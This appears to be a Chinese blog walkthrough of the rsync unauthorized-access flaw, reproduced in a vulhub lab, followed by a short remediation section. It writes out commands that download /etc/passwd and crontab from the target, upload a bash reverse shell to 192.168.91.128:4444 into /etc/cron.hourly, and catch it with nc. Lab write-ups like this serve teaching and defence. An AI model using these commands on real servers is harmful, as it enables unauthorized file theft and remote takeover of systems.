Rsync未授权访问
1.漏洞名称
Rsync 未授权访问漏洞
2.漏洞原理
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。 其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或 访问密码,我们将可以读写目标服务器文件。
3.漏洞利用
vulhub环境靶机 : 192.168.91.130
攻击机:kali 192.168.91.128
一、环境搭建
vulhub环境搭建
在纯净ubuntu中部署vulhub环境:
1、安装docker,并用docker -v命令验证安装结果;
curl -s https://get.docker.com/ | sh

2、安装python-pip,并用pip -V命令验证安装结果;
sudo apt-get install python-pip

3、安装docker-compose,并用docker-compose -v验证安装结果
pip install docker-compose

4、将vulhub解压至ubuntu一个路径下:/vulhub-master/
5、进入到相应的漏洞下,docker-compose up -d命令启动容器,使用docker-compose down命令关闭容器。
cd /vulhub-master/rsync/common
sudo docker-compose build //建立

sudo docker-compose up

二、Rsync非授权访问
可以对目标服务器进行扫描:
nmap -p 873 192.168.91.130
扫描结果:

Rsync非授权访问利用
查看模块名列表:
rsync rsync://192.168.91.130:873/
查看src模块
rsync rsync://192.168.91.130:873/src
结果如下:

可以看到目标机器的目录已经被列举出来了:
利用方法
下载文件
rsync -av rsync://192.168.91.130/src/etc/passwd /root/passwd.txt
执行结果:


上传文件反弹shell
查看crontab配置文件:
rsync rsync://192.168.91.130/src/etc/crontab
下载crontab配置文件:
rsync -av rsync://192.168.91.130/src/etc/crontab /root/crontab.txt
查看其内容:


其中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
shell 写法如下:
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1
赋予执行权限:
chmod +x shell
将shell上传至/etc/cron.hourly
rsync -av shell rsync://192.168.91.130/src/etc/cron.hourly
本地监听:
nc -nvv -lp 4444
实验可以自己去修改/etc/crontab配置文件
查看docker容器 ID
docker ps

进入docker
sudo docker exec -it a6cb5e784225 bash

打开/etc/crontab配置文件(vim自己安装。。)
vim /etc/crontab
把时间修改成自己想要的就好

等待时间的到来即可。成功反弹shell

4.漏洞修复
vim /etc/rsync.conf
写入以下代码
hosts allow xxx.xxx.xxx.xxx
auth users = rsync
secrets file = /etc/rsyncd.passwd
新建一个文件
vim /etc/rsyncd.passwd
按一下格式写入能登陆的用户名和密码
username :password
就ok
Rsync未授权访问的更多相关文章
- Rsync未授权访问漏洞的利用和防御
首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/r ...
- (四)rsync未授权访问
01 漏洞描述 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问rsync,上传 ...
- rsync未授权访问漏洞复现
rsync未授权访问漏洞简介 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问r ...
- 【Vulhub】Rsync未授权访问漏洞复现
Rsync未授权访问 Rsync简介 rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限.时间.软硬链接等附加信息 ...
- rsync未授权访问漏洞利用
漏洞描述:rsync是Linux系统下的数据镜像备份工具,使用快速增量备份工具Remote Sync可以远程同步,支持本地复制,或者与其他ssh,rsync主机同步.也就是说如果你可以连接目标IP的r ...
- Rsync未授权访问漏洞的修复
转自:https://www.cnblogs.com/KevinGeorge/p/9648028.html 配置文件/etc/rsync.conf解析: motd file -> motd文件位 ...
- rsync 未授权访问漏洞
rsync rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限.时间.软硬链接等附加信息. rsync是用 &qu ...
- mongodb未授权访问漏洞
catalogue . mongodb安装 . 未授权访问漏洞 . 漏洞修复及加固 . 自动化检测点 1. mongodb安装 apt-get install mongodb 0x1: 创建数据库目录 ...
- Redis未授权访问漏洞分析
catalog . Redis简介 . 漏洞概述 . 漏洞利用方式 . 修复方式 1. Redis简介 Relevant Link: http://www.cnblogs.com/LittleHann ...
随机推荐
- Pytest介绍
Pytest介绍 pytest是python的一种单元测试框架,与python自带的unittest测试框架类似,但是比unittest框架使用起来更简洁,效率更高.根据pytest的官方网站介绍,它 ...
- Solution -「CF 1342E」Placing Rooks
\(\mathcal{Description}\) Link. 在一个 \(n\times n\) 的国际象棋棋盘上摆 \(n\) 个车,求满足: 所有格子都可以被攻击到. 恰好存在 \(k\ ...
- Python:pathlib模块
Blog:博客园 个人 关于panthlib模块 pathlib模块提供表示文件系统路径的类,其语义适用于不同的操作系统.路径类被分为提供纯计算操作而没有 I/O 的纯路径,以及从纯路径继承而来但提供 ...
- 【曹工杂谈】Mysql-Connector-Java时区问题的一点理解--写入数据库的时间总是晚13小时问题
背景 去年写了一篇"[曹工杂谈]Mysql客户端上,时间为啥和本地差了整整13个小时,就离谱",结果最近还真就用上了. 不是我用上,是组内一位同事,他也是这样:有个服务往数据库in ...
- nginx加大缓存
http { server { listen 0.0.0.0:81; server_name localhost; -- proxy_buffer_size 128k; proxy_buffers 3 ...
- bugku-Web md5 collision writeup
访问题目链接,得到提示input a,而题目是md5 collision,md5碰撞.所以找一个md5是oe开头的值,get方式传参过去,PAYLOAD http://114.67.246.176:1 ...
- scrapy初体验
1. 构建scrapy项目 scrapy startproject ['项目名'] 在spiders下生成文件 cd spiders scrapy genspider douban_spider [' ...
- 深入理解Cache工作原理
内容来源:https://zhuanlan.zhihu.com/p/435031232 内容来源:https://zhuanlan.zhihu.com/p/102293437 本文主要内容如下,基本涉 ...
- 【C# 程序集】在.net中使用GAC 全局程序集缓存
原文地址:https://blog.alswl.com/2011/01/gac/ GAC GAC是什么?是用来干嘛的?GAC的全称叫做全局程序集缓存,通俗的理解就是存放各种.net平台下面需要使用的d ...
- 二叉树的N中遍历方式和拓展应用
(一)创建二叉树,如下图所示,一个标准的二叉树是所有位于根节点的左侧的子节点都是比根节点小的,右侧则都是大于根节点的. public class BinaryNode { public int val ...